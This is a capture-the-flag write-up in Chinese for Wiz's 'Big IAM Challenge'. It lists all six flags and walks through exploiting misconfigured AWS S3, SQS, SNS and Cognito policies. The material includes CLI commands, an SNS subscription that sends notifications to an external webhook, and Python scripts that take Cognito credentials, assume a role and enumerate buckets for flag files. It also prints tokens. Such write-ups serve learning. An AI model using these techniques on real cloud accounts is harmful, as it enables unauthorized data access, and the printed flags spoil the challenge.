快速领证

1
2
3
4
5
6
{wiz:exposed-storage-risky-as-usual}
{wiz:you-are-at-the-front-of-the-queue}
{wiz:always-suspect-asterisks}
{wiz:principal-arn-is-not-what-you-think}
{wiz:incognito-is-always-suspicious}
{wiz:open-sesame-or-shell-i-say-openid}

第一关:

题目给的IAM策略:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{ "Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*"
},
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:ListBucket",
"Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b",
"Condition": {
"StringLike": {
"s3:prefix": "files/*"
}
}
}
]
}

策略漏洞:

1. 公开访问:**"Principal": "*"**表示该策略允许任何人(包括未经认证的用户)访问。这可能导致数据泄露或未经授权的访问。建议限制访问权限,只允许特定的IAM用户、角色或AWS账户访问。 2. 过于宽泛的资源访问:**"Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*"**表示允许访问该存储桶中的所有对象。如果有敏感数据或不应公开的文件,这可能导致数据泄露。建议限制资源访问,只允许访问特定路径或对象。 3. 未限制IP地址:该策略没有限制来源IP地址,这意味着任何人都可以从任何地方访问。建议添加一个条件,限制访问来源IP地址范围。

解题步骤:

1.列出存储桶的所有文件:

1
aws s3 ls s3://thebigiamchallenge-storage-9979f4b/

2.进一步列目录

1
aws s3 ls s3://thebigiamchallenge-storage-9979f4b/files

3.下载flags1.txt文件

1
aws s3 cp s3://thebigiamchallenge-storage-9979f4b/files/flags1.txt /tmp/flags.txt

4.查看flags.txt

1
cat /tmp/flags.txt

第二关:

谷歌分析

我们专门针对这一挑战创建了自己的分析系统。我们认为它非常好,甚至在此页面上使用了它。可能会出什么问题?

加入我们的队列并获得秘密旗帜。

题目给的IAM策略:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": [
"sqs:SendMessage",
"sqs:ReceiveMessage"
],
"Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"
}
]
}

策略漏洞:

1. 公开访问:**"Principal": "*"**表示该策略允许任何人(包括未经认证的用户)访问。这可能导致数据泄露或未经授权的访问。建议限制访问权限,只允许特定的IAM用户、角色或AWS账户访问。 2. 过于宽泛的操作权限:该策略允许用户执行**SendMessage****ReceiveMessage**操作,这可能导致未经授权的发送和接收消息。根据最小权限原则,您应该根据实际需求限制操作权限。例如,如果某些用户只需要发送消息,而其他用户只需要接收消息,您可以为这两类用户创建单独的策略。 3. 未限制IP地址:该策略没有限制来源IP地址,这意味着任何人都可以从任何地方访问。建议添加一个条件,限制访问来源IP地址范围。

解题步骤:

模拟消息接收

1
aws sqs receive-message --queue-url https://sqs.us-east-1.awazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2

img.png

  • MessageId: 消息的唯一标识符。
  • ReceiptHandle: 用于稍后在删除消息时使用的临时凭证。
  • MD5OfBody: 消息正文的 MD5 哈希值,用于验证消息的完整性。
  • Body: 消息的正文,包含了您发送到队列的数据。在这个例子中,它是一个 JSON 对象,包含 URLUser-AgentIsAdmin 属性。

直接访问html

第一步返回的url,以为要配合他给的临时凭证,然后发现这个临时凭证是删除时才使用的。

img.png

第三关:

img.png

题目给的IAM策略:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
"Version": "2008-10-17",
"Id": "Statement1",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",
"Condition": {
"StringLike": {
"sns:Endpoint": "*@tbic.wiz.io"
}
}
}
]
}

策略漏洞:

此IAM策略的漏洞是它允许任何AWS用户(由于主体为 "*")订阅SNS主题。这可能会导致未经授权的用户接收到关于特定SNS主题的通知,从而泄露敏感信息。此外,由于条件限制了接收端点以 "@tbic.wiz.io" 结尾,攻击者可能会尝试创建满足此条件的恶意端点,以便接收这些通知。

为了利用这个漏洞,攻击者可以:

  1. 使用他们自己的AWS账户。
  2. 创建一个满足条件(即以 “@tbic.wiz.io” 结尾)的恶意端点。
  3. 调用 SNS:Subscribe 操作,将其恶意端点添加到 “arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications” 主题中。

这样,攻击者将能够接收到该SNS主题发送的通知,可能包括敏感信息。

解题步骤:

创建符合后缀的恶意接口

这里我们在网上随便找一个webhook的测试站(也可以自己本地搭建一个,只要能接收post请求)

Web的webhook.site替代品 — Altapps.net

发送订阅请求

1
aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --protocol https --notification-endpoint 'https://requestinspector.com/inspect/01h40j155mjbn2vp2txfck7nd7/qqq@tbic.wiz.io'

img.png

回到我们的接口查看

img.png

确认订阅

点击该确认订阅后,接口会接收到消息通知

img.png

发现了我们的flag

第四关:

img.png

题目给的IAM策略:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321/*"
},
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:ListBucket",
"Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321",
"Condition": {
"StringLike": {
"s3:prefix": "files/*"
},
"ForAllValues:StringLike": {
"aws:PrincipalArn": "arn:aws:iam::133713371337:user/admin"
}
}
}
]
}

策略漏洞:

1. 在第一个声明中,Effect为"Allow",Principal为"*",这意味着任何AWS用户(甚至未经认证的用户)都被允许执行"s3:GetObject"操作。这可能导致数据泄露,因为任何人都可以访问存储桶中的对象 2. 在第二个声明中,虽然有条件限制,但由于Effect为"Allow"且Principal为"*",这意味着任何AWS用户都可以尝试列出存储桶中的内容。虽然"s3:prefix"和"aws:PrincipalArn"的条件限制了对特定文件的访问,但仍然存在潜在的安全风险。

解题步骤:

在第一个声明中表明任何AWS用户都可以请求s3存储桶的文件,所以直接访问

img.png

但是发现没有权限

通过使用 –no-sign-request 参数,您可以在未经认证的情况下访问 S3 存储桶。这意味着任何人都可以使用此命令下载存储桶中的所有文件,从而导致数据泄露。

1
aws s3 cp s3://thebigiamchallenge-admin-storage-abf1321/files /tmp/files --recursive --no-sign-request

img.png

第二条规则同理:

img.png

img.png

第五关:

img.png

题目给的IAM策略:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": [
"mobileanalytics:PutEvents",
"cognito-sync:*"
],
"Resource": "*"
},
{
"Sid": "VisualEditor1",
"Effect": "Allow",
"Action": [
"s3:GetObject",
"s3:ListBucket"
],
"Resource": [
"arn:aws:s3:::wiz-privatefiles",
"arn:aws:s3:::wiz-privatefiles/*"
]
}
]
}

策略漏洞:

1. 对于所有资源(*),允许执行**mobileanalytics:PutEvents****cognito-sync:***操作。 2. 对于名为**wiz-privatefiles**的S3存储桶及其所有对象,允许执行**s3:GetObject****s3:ListBucket**操作。

解题步骤:

页面能展示图片我们可以查看一下js和html看是否有调用:

img.png

1
2
3
由此我们可以看到,我们从 cognito 获取凭据,然后页面使用它们来提取文件cognito1.png。
从检查控制台我们可以获取由 javascript 创建的临时凭证。
AWS.config.credentials

img.png
获取到的信息:

然后把凭据配置到aws cli

1
2
3
export AWS_ACCESS_KEY_ID="A**************"
export AWS_SECRET_ACCESS_KEY="K**************"
export AWS_SESSION_TOKEN="IQ************l/uSpGRt+2siC653oBaEFX/RAiBFr3ze+ME5fTTm46TqDB7UKfI1blmLsOdPllB1Oj+51yqHBghzEAAaDDA5MjI5Nzg1MTM3NCIMrh7mVNvolL7OAUfaKuQFczYia9OmIf8WHlJmVNKxeNmZ8z0BtPiS/1lvaT8S73Bi/8Auj6+xl9GztHc92nM2yZ0lFh+8/vlqRL0Cl9e9tyJKE2+pCBQsAB8UYanuZGStKCRWvYjH+TC3tdu859OAlkXdpELafnUnFr5+aOHGcdmL1FLeplDqTUtURGCuooJgmir0PNZ7fUt8wbpRjoIq6i2MELnHhNdppjQNrmKjP82oYop7tNwjx5/EPV/HogHzAYQGVLxqQYV0u11XMFe0Y0DQfm+/IMQXIXmLMI5RC3k011zxDzowTCd9DrMkg3Sasy6A5LpEVJyHOXojkaY4wO7KXAqPPNiTxLxW1nc1VyKOEEXBFHGERZIicx8Jn1jyLD7wEdyOlYHQAQOeLPM+2Lcn2WMvq/mnoXfUAKkrKY/7fhQF4QPwwdKfbXrvpdSMHuZu6iLWFTCvdorzMZVcTvGYJbFVbgDjfYk39o1Q1A56+d0QKy+Sh7q02ioM1OD/fHBRTvcvss3S6FXXzvGbvRDk++wQXqpzjUgkO/BmlJS8z28/yLsEj5RqPnH9+N4rXCWzOhyokANIaU+cPJWRbo5RhQykSrr0HlLjCSwz5wb11mc/uo7W65nndaSZAtGjHf18U/+tUnIQTDuTYSLKZ7FE/eIFy+WA64iAQAeFnXqh6LZX/AGc9NiZ53REAo94UVY6IfZpFHsmXsjfee01TQVCFsv6NEFA6QlECS0aCgU445Z5dsXVSY9WElRG2oGM9ek/X3Jg9CLEmWHZdeGCLAVepn9uPlpAEw/6xkIfRGrq14iwdpxoolvxXd4tBK03IMq2s5twagk275jA4RQjzxSpFr+DX5mRliHhvmaKwc7ZRy7an6IvZs4w7+UDn8nvHue9Vp9EeFJJsYpX4flhh8xnIXY6Yi4K6S02CXPhz03MbUavvV580rtTCo3bxf+5AM0GHwYnHXlV1DlJhkApY/13II8f11RKCmyz5QAtsXjJtakwjYHwpAY6iAJ/LDgBodPs+Ct2MJyAISH+ky+uzMFNWhX98OKKzfLLzZ6redJi5vx6s7g+e8pHKZd8rJuBM9ZsXJz1I+e3LbxCxR+XCHiON+/Y9pQfxbPSzFe2y8NWqJix5CJd5Sb8S71o434bz43HVBMysAVjEm0QKCBEGngzAi7J5ifyDuBYGYvIAbFp/xlb4hSgqtj3Y661CsQ5XddAWdE15oQr4jyXo7/3N6Be4AGNitAbJ75HvkrkH8PhDPNNRCAayptqY33VE+lwUltXi6T9hZmpVFafaCDp95c4aPLS7qtSsJPQZCfcP00yW4/kG4Wk75OK2jw41fB+g11k5NHKwBMsWnHruVlotQgmgiA="

可是这里一直设置有问题,问一下强哥

强哥给我说直接用他的js执行一遍,他能取到你也可以取到。

img.png

可以看到,这里取到了flag1.txt了,直接访问

::: info
当然这样要靠猜文件名
:::

img.png

img.png

直接用脚本来实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import boto3

# 设置AWS配置
region = 'us-east-1'
identity_pool_id = 'us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b'
bucket_name = 'wiz-privatefiles'
object_key = 'cognito1.png'

# 创建Cognito身份凭证
cognito_identity = boto3.client('cognito-identity', region_name=region)
identity_response = cognito_identity.get_id(IdentityPoolId=identity_pool_id)
identity_id = identity_response['IdentityId']
credentials_response = cognito_identity.get_credentials_for_identity(
IdentityId=identity_id
)
access_key = credentials_response['Credentials']['AccessKeyId']
secret_key = credentials_response['Credentials']['SecretKey']
session_token = credentials_response['Credentials']['SessionToken']

# 使用生成的凭证访问S3
s3 = boto3.client('s3', aws_access_key_id=access_key,
aws_secret_access_key=secret_key, aws_session_token=session_token, region_name=region)

# 获取签名URL
url = s3.generate_presigned_url(
'get_object', Params={'Bucket': bucket_name, 'Key': object_key}, ExpiresIn=3600)

# 打印签名URL
print("Signed URL:", url)

#列文件
response = s3.list_objects_v2(Bucket=bucket_name)

if 'Contents' in response:
for obj in response['Contents']:
key = obj['Key']
size = obj['Size']
print(f"Key: {key}, Size: {size} bytes")
else:
print("Bucket is empty or does not exist.")

img.png

列出桶里面所有的文件。

这里原本的设计解题应该是这样:

1
2
3
4
5
aws s3 ls s3://wiz-privatefiles/
aws s3 cp s3://wiz-privatefiles/flag1.txt /tmp/flag5.txt

cat /tmp/flag5.txt
{wiz:incognito-is-always-suspicious}

第六关:

img.png

好的,直接放弃。

题目给的IAM策略:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "cognito-identity.amazonaws.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"cognito-identity.amazonaws.com:aud": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"
}
}
}
]
}

策略解读:

1. Effect:声明的效果是"Allow",表示允许执行指定的操作。 2. Principal:声明中的主体是一个联合身份提供商,即cognito-identity.amazonaws.com。这意味着允许Cognito身份池中的用户执行操作。 3. Action:策略允许执行的操作是sts:AssumeRoleWithWebIdentity。这意味着用户可以使用Web身份(如Cognito用户池、Facebook、Google等)扮演角色。 4. Condition:策略中有一个条件,要求"cognito-identity.amazonaws.com:aud"的值必须等于"us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"。这意味着只有特定Cognito身份池中的用户才能执行操作。 5. 这个策略仅限制了用户必须来自特定的Cognito身份池,但没有限制具体哪些用户可以执行操作。这可能导致未经授权的用户扮演角色。为了提高安全性,可以在条件中添加更多限制,例如,要求用户属于某个Cognito用户池组。 6. 策略没有限制用户可以扮演哪些角色。这可能导致用户扮演过于高权限的角色。为了提高安全性,可以在策略中添加资源(Resource)元素,限制允许扮演的角色。 7. 确保在实际环境中使用正确的Cognito身份池ID(us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b)。如果使用错误的ID,可能导致未经授权的用户获得访问权限,或者授权用户无法访问资源。

解题步骤:

获取身份 ID

首先,我们可以通过运行以下命令从池中获取身份 ID。
1
2
3
aws cognito-identity get-id --region us-east-1 --identity-pool-id us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b

us-east-1:ff551393-eeb6-4987-88d8-ac3a15268d59

img.png

获取web的凭据(JWT)

1
aws cognito-identity get-open-id-token --region us-east-1 --identity-id us-east-1:ff551393-eeb6-4987-88d8-ac3a15268d59

img.png

1
2
3
4
5
6
7
8
{
"IdentityId": "us-east-1:ff551393-eeb6-4987-88d8-ac3a15268d59",
"Token": "eyJraWQiOiJ1cy1lYXN0LTEzIiwidHlwIjoiSldTIiwiYWxnIjoiUlM1MTIifQ.eyJzdWIiOiJ1cy1lYXN0LTE6ZmY1NTEzOTMtZWViNi00OTg3LTg4ZDgtYWMzYTE1MjY4ZD
U5IiwiYXVkIjoidXMtZWFzdC0xOmI3M2NiMmQyLTBkMDAtNGU3Ny04ZTgwLWY5OWQ5YzEzZGEzYiIsImFtciI6WyJ1bmF1dGhlbnRpY2F0ZWQiXSwiaXNzIjoiaHR0cHM6Ly9jb2duaXRvLWlkZ
W50aXR5LmFtYXpvbmF3cy5jb20iLCJleHAiOjE2ODc5NDgwMDgsImlhdCI6MTY4Nzk0NzQwOH0.n0DkFwLG7nVrpD-xvixAKoGbots97HyrjxAVbdyaNYoLGkv5be7vf_ijBnCENhfXqJL_DkRA
yd-LU2JjU_66n0JsqecB6Qd_jTCKx-k8mOdFpHrjcurPwp0yRIJCgsESCgltc7Yft95spokBuG11QrX_ATfmEzOnFCZcKxkgbUx0-4RqAlYXx6L9aPGl3xCmH4gw6uaJae7h2VjdN7j-2oW22lS
l0zVpwhQrza5oNws3c1s-WMS1-megMneBCHmlu23nb5vA-24Nx588NIqoUxGL9Gy6_kHp8XhIumsGYEmHc2LkKuoOOuCUbx7v4MUvqObbxhLue4OGwKzpOQepdg"
}

现在我们可以承担角色Cognito_s3accessAuth_Role并传递 JWT。

使用 **aws sts assume-role** 命令获取临时凭据。将 **ROLE_ARN** 替换为您要扮演的 IAM 角色的 Amazon 资源名称(ARN),并将 **ROLE_SESSION_NAME** 替换为您选择的会话名称:
1
2
3
4
5
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role --role-session-name iam-challenge-6 --web-identity-token 'eyJraWQiOiJ1cy1lYXN0LTEzIiwidHlwIjoiSldTIiwiYWxnIjoiUlM1MTIifQ.eyJzdWIiOiJ1cy1lYXN0LTE6ZmY1NTEzOTMtZWViNi00OTg3LTg4ZDgtYWMzYTE1MjY4ZD
U5IiwiYXVkIjoidXMtZWFzdC0xOmI3M2NiMmQyLTBkMDAtNGU3Ny04ZTgwLWY5OWQ5YzEzZGEzYiIsImFtciI6WyJ1bmF1dGhlbnRpY2F0ZWQiXSwiaXNzIjoiaHR0cHM6Ly9jb2duaXRvLWlkZ
W50aXR5LmFtYXpvbmF3cy5jb20iLCJleHAiOjE2ODc5NDgzMTQsImlhdCI6MTY4Nzk0NzcxNH0.TxIdVR2ijSnddutiIVLwjQ2LysU8esATk0G3cMBMly1qCSRzJnExQvH2usSF43m6N4QDWryf
JCGfcGfKVQZN8UmIHeTne6YmRHAr1ZEJigZanpFEGJKsKCpS4-VhgHzVldCiJqpsONi5KLoQ-tw-AycABsmJhJBLZbKAb3LcoFdKdmAJpPwqGGiLM1OwmmL-48AOkVu0tf2RXLVdPCf1CpRN3n2
EI2K6hmiqQkI2OXmnz37SUtHk2WD0SlarhoWwlO6p9jc5K_ZBAx_9Cf127L27G5WNxxGQ_Ogq2BS78IHYkRXsqw8e_ynatRqjG8z87Vk_C60-FEVCt0vfZb28eQ'

可是:(王得发)

img.png

问了强哥token有时间限制,要用python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
import boto3
import json
import requests
import random
from botocore.exceptions import ClientError
from termcolor import colored

def print_colored(step, text):
colors = ['red', 'green', 'yellow', 'blue', 'magenta', 'cyan', 'white']
color = random.choice(colors)
print(colored(f"{step}. {text}", color))

# 第一个请求,获取 token
url_1 = 'https://9rczvqn2ub.execute-api.us-east-1.amazonaws.com/execute'
headers_1 = {
'authority': '9rczvqn2ub.execute-api.us-east-1.amazonaws.com',
'accept': 'application/json, text/javascript, */*; q=0.01',
'accept-language': 'zh-CN,zh;q=0.9',
'content-type': 'application/json',
'origin': 'https://bigiamchallenge.com',
'referer': 'https://bigiamchallenge.com/',
'sec-ch-ua': '"Not.A/Brand";v="8", "Chromium";v="114", "Google Chrome";v="114"',
'sec-ch-ua-mobile': '?0',
'sec-ch-ua-platform': '"macOS"',
'sec-fetch-dest': 'empty',
'sec-fetch-mode': 'cors',
'sec-fetch-site': 'cross-site',
'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36'
}
data_1 = {
'command': f"aws cognito-identity get-id --region us-east-1 --identity-pool-id us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"
}

response_1 = requests.post(url_1, headers=headers_1, json=data_1)
response_1_json = response_1.json()
IdentityId = json.loads(response_1_json["stdout"])["IdentityId"]
print_colored(1, f"池中获取身份 ID成功:\n{IdentityId}")
data_2 = {
'command': f'aws cognito-identity get-open-id-token --region us-east-1 --identity-id {IdentityId}'
}
response_2 = requests.post(url_1, headers=headers_1, json=data_2)
response_2_json = response_2.json()
jwt_token = json.loads(response_2_json['stdout'])['Token']
print_colored(2, f"成功利用cognito-identity获取到JWTtoken:\n{jwt_token}")

# 创建一个 STS 客户端
sts = boto3.client('sts', region_name='us-east-1')

# 获取临时安全凭据
response = sts.assume_role_with_web_identity(
RoleArn='arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role',
RoleSessionName='iam-challenge-6',
WebIdentityToken=jwt_token
)

# 提取临时安全凭据
access_key_id = response['Credentials']['AccessKeyId']
secret_access_key = response['Credentials']['SecretAccessKey']
session_token = response['Credentials']['SessionToken']
print_colored(3, "成功使用 aws sts assume-role 命令获取临时凭据")
print_colored(4, "开始使用boto3进行S3存储桶的枚举")
# 使用临时安全凭据创建一个 S3 客户端
s3 = boto3.client('s3', region_name='us-east-1', aws_access_key_id=access_key_id, aws_secret_access_key=secret_access_key, aws_session_token=session_token)

# 列出 S3 存储桶
buckets = s3.list_buckets()

# 遍历每个存储桶
for bucket in buckets['Buckets']:
bucket_name = bucket['Name']
print_colored(5, f"桶名: {bucket_name}")

try:
# 列出存储桶中的文件
objects = s3.list_objects_v2(Bucket=bucket_name)
for obj in objects['Contents']:
object_name = obj['Key']
print_colored(000, "有此桶的访问权限")
print_colored(000, f" 文件名: {object_name}")
if "flag" in object_name:
print_colored(666, f"找到flag文件:{object_name}")
url = s3.generate_presigned_url(
'get_object',
Params={'Bucket': bucket_name, 'Key': object_name},
ExpiresIn=3600 # 链接有效期(秒)
)

# 访问生成的URL并输出页面内容
response = requests.get(url)
content = response.text
print_colored(00000, f"输出页面内容: \n{content}")

except ClientError as e:
if e.response['Error']['Code'] == 'AccessDenied':
print_colored(6, " 没有访问权限")
else:
print_colored(7, f" Error: {e}")

img.png

获取到了所有的flag文件,都试一下就行了。

参考链接:

The Big IAM Challenge

img.png